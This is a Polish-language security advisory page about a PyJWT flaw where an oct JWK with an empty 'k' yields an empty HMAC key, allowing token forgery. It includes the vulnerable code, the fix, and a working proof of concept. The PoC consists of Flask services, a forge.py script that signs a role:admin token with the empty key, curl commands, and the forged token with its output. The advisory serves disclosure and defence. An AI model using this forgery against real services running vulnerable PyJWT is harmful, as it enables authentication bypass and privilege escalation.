Wysoka

PyJWT: Weryfikacja HS256/384/512 akceptuje pusty klucz HMAC przez oct JWK (PyJWK/PyJWKClient), umożliwiając fałszowanie tokenów

  • Ujawniono: 22.10.2026
  • Aktualizacja: 24.10.2026 00:06

Podsumowanie

HMACAlgorithm.from_jwk akceptuje symetryczny (kty=oct) klucz JWK, którego wartość k jest pustym ciągiem znaków, i zwraca klucz o zerowej długości bez zgłaszania wyjątku. Kiedy token jest następnie weryfikowany za pomocą tego obiektu klucza (obiekt PyJWK lub PyJWK rozwiązany przez PyJWKSet / PyJWKClient), moduł weryfikacji HMAC oblicza HMAC(key=b"", signing_input) i akceptuje dowolny token sfałszowany przez atakującego przy użyciu tego samego pustego klucza. Atakujący nie potrzebuje znajomości żadnego sekretu: odtwarza skrót lokalnie z pustym kluczem i ustawia kid tokena na JWK z pustą wartością k.

Odrzucanie pustych kluczy, które HMACAlgorithm.prepare_key stosuje dla sekretów w postaci ciągów znaków lub bajtów (dodane w 2.13.0), nie zostało przeniesione do równoległej ścieżki kodu from_jwk, przez co ścieżka weryfikacji JWK/JWKS pozostaje podatna na atak. Przy domyślnych opcjach dekodowania ścieżka ta emituje jedynie ostrzeżenie InsecureKeyLengthWarning, a nie błąd, więc weryfikacja nadal kończy się sukcesem. Jest to ten sam defekt typu „pusty/zerowy klucz HMAC jest akceptowany podczas weryfikacji”, który ekosystem JWT naprawia obecnie po stronie bibliotek: fast-jwt CVE-2026-44351 (CVSS 9.1) oraz ruby-jwt CVE-2026-45363 dodały biblioteczny warunek wstępny odrzucający pusty klucz HMAC.

Wersje podatne

PyJWT (pakiet PyPI pyjwt) <= 2.13.0, aktualny stan master w commicie 7144e4534c34810f4525dc4578a32addd8212cff. Ścieżka sekretu w postaci ciągu znaków/bajtów jest już zabezpieczona w 2.13.0; ścieżka JWK/JWKS nie jest.

Wymagane uprawnienia

Brak uwierzytelnienia. Każda strona, która ma dostęp do punktu końcowego weryfikującego JWT w aplikacji weryfikującej przez PyJWK / PyJWKSet / PyJWKClient, której klucz oct ma pustą wartość k, może fałszować tokeny z dowolnymi oświadczeniami (claims).

Warunki wstępne: weryfikator rozwiązuje klucz HMAC z JWK/JWKS, którego wpis oct zawiera pustą wartość k. Występuje to, gdy sekret podpisywania pochodzi z nieustawionej zmiennej środowiskowej, nieustawionego wiersza konfiguracji lub mechanizmu rezerwowego wyszukiwania kluczy, który koduje w base64url wartość b"" do opublikowanego JWKS, albo gdy aplikacja ufa JWKS zawierającemu taki wpis. Odpowiednik nieustawionego sekretu w API operującym na sekretach tekstowych (jwt.decode(token, key="")) jest już odrzucany w 2.13.0; ścieżka JWK pozostaje jedyną dostępną przestrzenią narażoną na tę samą błędną konfigurację.

Podatny kod

jwt/algorithms.py, HMACAlgorithm.from_jwk (linia 380):

python
@staticmethod
def from_jwk(jwk: str | JWKDict) -> bytes:
    try:
        if isinstance(jwk, str):
            obj: JWKDict = json.loads(jwk)
        elif isinstance(jwk, dict):
            obj = jwk
        else:
            raise ValueError
    except ValueError:
        raise InvalidKeyError("Key is not valid JSON") from None

    if obj.get("kty") != "oct":
        raise InvalidKeyError("Not an HMAC key")

    return base64url_decode(obj["k"])   # <-- empty k -> b"", no rejection

Dla porównania, bliźniacza metoda prepare_key, która OTRZYMAŁA zabezpieczenie (linie 325-329):

python
def prepare_key(self, key: str | bytes) -> bytes:
    key_bytes = force_bytes(key)

    if len(key_bytes) == 0:
        raise InvalidKeyError("HMAC key must not be empty.")

W jwt/api_jws.py, _verify_signature (linie 389-416) używa materiału klucza PyJWK bezpośrednio, omijając prepare_key, a ostrzeżenie o długości jest domyślnie niefatalne:

python
        if isinstance(key, PyJWK):
            if alg != key.algorithm_name:
                raise InvalidAlgorithmError(
                    f"Token algorithm {alg!r} does not match the key's "
                    f"algorithm {key.algorithm_name!r}"
                )
            alg_obj = key.Algorithm
            prepared_key = key.key            # from_jwk output (b""), prepare_key not run
        else:
            try:
                alg_obj = self.get_algorithm_by_name(alg)
            except NotImplementedError as e:
                raise InvalidAlgorithmError("Algorithm not supported") from e
            prepared_key = alg_obj.prepare_key(key)

        key_length_msg = alg_obj.check_key_length(prepared_key)
        if key_length_msg:
            if effective_options.get("enforce_minimum_key_length", False):
                raise InvalidKeyError(key_length_msg)
            else:
                warnings.warn(key_length_msg, InsecureKeyLengthWarning, stacklevel=4)  # default: warn only

        if not alg_obj.verify(signing_input, prepared_key, signature):  # verify with b"" succeeds
            raise InvalidSignatureError("Signature verification failed")

PyJWK.__init__ ustawia self.key = self.Algorithm.from_jwk(self._jwk_data), więc JWK {"kty":"oct","k":""} daje PyJWK.key == b"". PyJWKSet oraz PyJWKClient.get_signing_key_from_jwt budują obiekty PyJWK w ten sam sposób, przez co ścieżka rozwiązywania JWKS przez HTTP jest dotknięta problemem w identyczny sposób.

Informacje o wydaniu 2.13.0 (CHANGELOG.rst) dokumentują utwardzenie JWK/PEM prepare_key (GHSA-xgmm-8j9v-c9wx) oraz poprawkę powiązania algorytmu PyJWK (GHSA-jq35-7prp-9v3f), a zestaw testów zawiera test_hmac_prepare_key_rejects_empty_key oraz test_hmac_from_jwk_should_raise_exception_if_empty_json (który testuje pusty obiekt JSON {}, a nie klucz oct z pustą wartością k). Przypadek klucza oct z pustym k to nietestowana, bliźniacza ścieżka, którą zamyka niniejsze zgłoszenie.

Jak dane wejściowe atakującego trafiają do celu

Nieuwierzytelniony klient HTTP ma pełną kontrolę nad tokenem bearer: jego nagłówek kid wybiera klucz oct JWK z pustą wartością k, a jego podpis jest obliczany lokalnie przy użyciu pustego klucza. Token przepływa ze ścieżki nagłówka żądania -> PyJWKClient.get_signing_key_from_jwt (rozwiązanie kid względem zaufanego JWKS) -> jwt.decode z rozwiązanym PyJWK -> _verify_signature -> HMACAlgorithm.verify(signing_input, b"", sig). Nie jest wymagana znajomość sekretu, danych uwierzytelniających ani wcześniejsza sesja; jedynym warunkiem wstępnym po stronie serwera jest wpis oct w JWKS z pustą wartością k, co jest wynikiem konfiguracji z „nieustawionym sekretem podpisywania”. Jest to identyczna granica zaufania, którą ścieżka sekretu tekstowego już chroni.

Proof of Concept

Pełna reprodukcja (end-to-end) względem przypiętej wersji PyPI pyjwt 2.13.0 (dwie wdrożone usługi Flask)

Dwie usługi modelują standardowe wdrożenie OIDC: usługa uwierzytelniania publikująca JWKS oraz chroniony serwer zasobów walidujący tokeny bearer względem tego JWKS za pomocą udokumentowanego wzorca PyJWKClient w PyJWT. Sekret podpisywania usługi uwierzytelniania pochodzi z nieustawionej zmiennej środowiskowej (SIGNING_SECRET nieustawiona -> ""), więc opublikowany klucz oct JWK zawiera k == "".

idp.py (usługa uwierzytelniania):

python
import os, base64
from flask import Flask, jsonify
app = Flask(__name__)
SIGNING_SECRET = os.environ.get("SIGNING_SECRET", "")   # UNSET at runtime -> ""
def b64u(b): return base64.urlsafe_b64encode(b).rstrip(b"=").decode()

@app.route("/.well-known/jwks.json")
def jwks():
    return jsonify({"keys": [{
        "kty": "oct", "use": "sig", "alg": "HS256",
        "kid": "auth-signing-2026",
        "k": b64u(SIGNING_SECRET.encode()),   # empty secret -> k == ""
    }]})

if __name__ == "__main__":
    app.run(port=9101)

api.py (chroniony serwer zasobów):

python
from flask import Flask, request, jsonify
import jwt
from jwt import PyJWKClient
app = Flask(__name__)
jwks_client = PyJWKClient("http://127.0.0.1:9101/.well-known/jwks.json")

def authenticate():
    auth = request.headers.get("Authorization", "")
    if not auth.startswith("Bearer "):
        return None, "missing bearer token"
    token = auth.split(" ", 1)[1]
    try:
        signing_key = jwks_client.get_signing_key_from_jwt(token)  # resolves by kid
        claims = jwt.decode(token, signing_key, algorithms=["HS256", "RS256"])
    except Exception as e:
        return None, "invalid token: %s" % type(e).__name__
    return claims, None

@app.route("/api/admin/users")
def admin_users():
    claims, err = authenticate()
    if err:
        return jsonify({"error": err}), 401
    if claims.get("role") != "admin":
        return jsonify({"error": "forbidden"}), 403
    return jsonify({"ok": True, "action": "list_all_users",
                    "as_user": claims.get("sub"), "role": claims.get("role")})

if __name__ == "__main__":
    app.run(port=9102)

forge.py (atakujący; bez znajomości sekretu):

python
import hmac, hashlib, base64, json, sys
def b64u(b): return base64.urlsafe_b64encode(b).rstrip(b"=").decode()
header={"alg":"HS256","typ":"JWT","kid":"auth-signing-2026"}
payload={"sub":"attacker@evil.example","role":"admin"}
si=b64u(json.dumps(header,separators=(',',':')).encode())+"."+b64u(json.dumps(payload,separators=(',',':')).encode())
key = sys.argv[1].encode() if len(sys.argv)>1 else b""   # empty key
sig=hmac.new(key, si.encode(), hashlib.sha256).digest()
print(si+"."+b64u(sig))

Uruchomienie:

bash
python -m venv v && ./v/bin/pip install "PyJWT==2.13.0" flask
( SIGNING_SECRET= ./v/bin/python idp.py & ) ; ./v/bin/python api.py &
FORGED=$(./v/bin/python forge.py "")
curl -s -H "Authorization: Bearer $FORGED" http://127.0.0.1:9102/api/admin/users

Dosłowny przebieg (atak, obie kontrole negatywne, test poprawności oraz ponowne uruchomienie na załatanej kompilacji):

### PyJWT version
2.13.0

### JWKS published by the auth service (note the empty "k"):
{"keys":[{"alg":"HS256","k":"","kid":"auth-signing-2026","kty":"oct","use":"sig"}]}

### Baseline: unauthenticated request to admin endpoint
HTTP 401

### ATTACK: attacker forges HS256 admin token signed with the EMPTY key
forged token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6ImF1dGgtc2lnbmluZy0yMDI2In0.eyJzdWIiOiJhdHRhY2tlckBldmlsLmV4YW1wbGUiLCJyb2xlIjoiYWRtaW4ifQ.iwgDP9D-oD0zXWMEUhx710f_NjHWKkrLVgjPAOtEUSQ
response:
{"action":"list_all_users","as_user":"attacker@evil.example","ok":true,"role":"admin"}
  <-- HTTP 200

### NEGATIVE CONTROL 1: forge with a WRONG non-empty key (IdP still empty) -> reject
{"error":"invalid token: InvalidSignatureError"}
  <-- HTTP 401

### NEGATIVE CONTROL 2: IdP restarted with a REAL non-empty secret; empty-key forgery must now fail
JWKS now has non-empty k:
{"keys":[{"alg":"HS256","k":"YS1yZWFsLTMyLWJ5dGUtc3Ryb25nLXNlY3JldC12YWx1ZS0xMjM0","kid":"auth-signing-2026","kty":"oct","use":"sig"}]}
{"error":"invalid token: InvalidSignatureError"}
  <-- HTTP 401

### Sanity: a legitimately-signed token with the real secret is accepted
{"action":"list_all_users","as_user":"attacker@evil.example","ok":true,"role":"admin"}
  <-- HTTP 200

### PATCHED BUILD (from_jwk rejects empty k): re-run the empty-key forgery -> now rejected
JWKS (empty k, vulnerable config):
{"keys":[{"alg":"HS256","k":"","kid":"auth-signing-2026","kty":"oct","use":"sig"}]}
{"error":"invalid token: PyJWKSetError"}
  <-- HTTP 401

Atak zwraca HTTP 200 z role:admin na podstawie nieuwierzytelnionego, sfałszowanego tokena. Obie kontrole negatywne (nieprawidłowy, niepusty klucz; prawdziwy, niepusty sekret w usłudze uwierzytelniania) zwracają 401, co jednoznacznie wskazuje na akceptację pustego klucza jako źródło błędu. Załatana kompilacja (poprawka from_jwk poniżej) odrzuca sfałszowany token.

Wpływ

  • Nieuwierzytelnione obejście uwierzytelniania / fałszowanie tokenów: atakujący generuje tokeny z dowolnymi oświadczeniami (role:admin, dowolne sub), które przechodzą pomyślnie weryfikację, co pozwala na pełne podszycie się pod użytkownika i eskalację uprawnień na dowolnym punkcie końcowym chronionym przez te tokeny.
  • Podatność dostępna za pośrednictwem udokumentowanego interfejsu API weryfikacji JWKS (PyJWKClient / PyJWKSet / PyJWK), nie tylko przy bezpośrednim użyciu HMACAlgorithm.
  • Wywoływane przez częstą błędną konfigurację „nieustawionego sekretu podpisywania”, którą ścieżka sekretu tekstowego odrzuca już w 2.13.0, pozostawiając ścieżkę JWK jako asymetryczną lukę.

Sugerowane rozwiązanie

Odrzucenie klucza o zerowej długości w HMACAlgorithm.from_jwk, na wzór zabezpieczenia stosowanego już w prepare_key:

python
if obj.get("kty") != "oct":
    raise InvalidKeyError("Not an HMAC key")

key_bytes = base64url_decode(obj["k"])
if len(key_bytes) == 0:
    raise InvalidKeyError("HMAC key must not be empty.")
return key_bytes

Rozwiązanie to wykorzystuje ten sam komunikat o błędzie i sprawdzenie długości, co ścieżka dla ciągów znaków/bajtów, dzięki czemu obie ścieżki ładowania kluczy HMAC egzekwują ten sam niezmiennik. Test regresyjny dla oct JWK z pustą wartością k powinien znaleźć się obok test_hmac_from_jwk_should_raise_exception_if_empty_json.

PR z poprawką

https://github.com/jpadilla/pyjwt-ghsa-pxh4-856f-4h89/pull/1 (prywatny tymczasowy fork doradztwa, baza master, gałąź fix/hmac-from-jwk-reject-empty-key, podpisany DCO; dodaje test_hmac_from_jwk_rejects_empty_k; testy test_algorithms.py, test_api_jwk.py, test_api_jws.py zakończone sukcesem).

Podziękowania

Zgłoszone przez: tonghuaroot.

Aktualizacja opiekunów (2026-09-10): Odtworzyliśmy zgłoszone zachowanie: JWK oct z pustą wartością k został zdekodowany do pustego klucza HMAC i zaakceptowany przez ścieżkę weryfikacji JWK/PyJWK, podczas gdy ścieżka surowych ciągów/bajtów poprawnie odrzucała pusty klucz. Poprawka dodaje tę samą walidację pustego klucza na granicy JWK oraz test regresyjny. Została zatwierdzona jako af8181ca0bec5e6b372fbba9afbe23702b787ceb i przeszła testy w dostępnych środowiskach tox projektu, w tym testy kryptograficzne i niekryptograficzne na Pythonie 3.9, 3.12 i 3.13, a także mypy, metadane pakietu i testy pokrycia kodu. Nowa recenzja Astra/max zaakceptowała poprawkę i potwierdziła, że zachowanie dla niepustych, binarnych i asymetrycznych kluczy pozostaje bez zmian. Poprawka nie została jeszcze wydana w żadnej oficjalnej wersji PyJWT, dlatego niniejsze doradztwo zostało przeniesione do wersji roboczej i pozostaje nieopublikowane do czasu wydania.

Aktualizacja opiekunów — 2026-09-11

Zweryfikowana poprawka dla tego doradztwa została dołączona do PyJWT 2.14.0, wydanego 2026-09-11 i dostępnego w PyPI. PyJWT 2.14.0 to pierwsze wydanie zawierające poprawkę. Niniejsze doradztwo zostało opublikowane z oznaczeniem 2.14.0 jako wersji załatanej.

Co trzeba zrobić

Zaktualizuj do PyJWT 2.14.0 (2.14.0) lub nowszego.

Czego dotyczy

Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.

PlatformaPaczkaPodatne wersjePoprawka w wersji
Python (PyPI) pyjwt < 2.14.0 2.14.0

Odnośniki

Ocena CVSS 7.4/10
Wektor CVSS
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
Słabość (CWE)
CWE-347
Platforma
Python (PyPI)
Paczka
pyjwt
Ujawniono
22.10.2026
Aktualizacja
24.10.2026 00:06

Źródła i licencje · Redakcja lub tłumaczenie: DockRay. Zachowano prawa źródeł i obowiązujące licencje.

OSV / GitHub Advisory Database - GHSA-pxh4-856f-4h89 - CC BY 4.0

Historia podatności: pyjwt

Wszystkie opisane podatności tej paczki (Python (PyPI)), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.

Wszystkie (25) w archiwum
Wszystkich wpisów
25
Pierwsza → ostatnia
08.2017 10.2026
Bez poprawki
2
Wykorzystywana w atakach
0

Rozkład istotności

  • Krytyczna 1
  • Wysoka 11
  • Średnia 11
  • Niska 2

Ujawnienia w latach

  1. 2017: 1
  2. 2018: 0
  3. 2019: 0
  4. 2020: 0
  5. 2021: 0
  6. 2022: 1
  7. 2023: 0
  8. 2024: 1
  9. 2025: 1
  10. 2026: 21
Istotność:
  1. PyJWT: Weryfikacja HS256/384/512 akceptuje pusty klucz HMAC przez oct JWK (PyJWK/PyJWKClient), umożliwiając fałszowanie tokenów ten wpis
    Wysoka · 7.4 ghsa-pxh4-856f-4h89 < 2.14.0 2.14.0
  2. Wysoka · 7.4 CVE-2026-102266 >= 2.13.0, < 2.14.0 2.14.0
  3. Wysoka · 7.4 CVE-2026-102273 >= 2.13.0, < 2.14.0 2.14.0
  4. Wysoka · 7.4 CVE-2026-102267 < 2.14.0 2.14.0
  5. Wysoka · 7.4 CVE-2026-102272 >= 2.13.0, < 2.14.0 2.14.0
  6. Wysoka · 7.5 CVE-2026-32597 < 2.12.0 2.12.0
  7. Wysoka · 7.4 CVE-2022-29217 >= 1.5.0, < 2.4.0 2.4.0
  8. Wysoka · 7.5 CVE-2017-11424 < 1.5.1 1.5.1

Dowiedz się, które podatności dotyczą Twojej aplikacji

Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.

Podłącz swoją aplikację
Newsletter DockRay

Bezpieczeństwo aplikacji w Twojej skrzynce

Najważniejsze podatności, konkretne zalecenia i praktyczne wskazówki dla Twoich aplikacji. Wybierz technologie i śledź to, co ma znaczenie dla Twojego projektu.

  • Codzienne zestawienie nowych podatności, także krytycznych.
  • Powiadomienia o ważnych aktualizacjach.
  • Praktyczne porady o bezpieczeństwie i monitoringu aplikacji.

Pozostaw puste, aby otrzymywać informacje o wszystkich technologiach.

Zapis jest bezpłatny. Wypiszesz się jednym kliknięciem w wiadomości.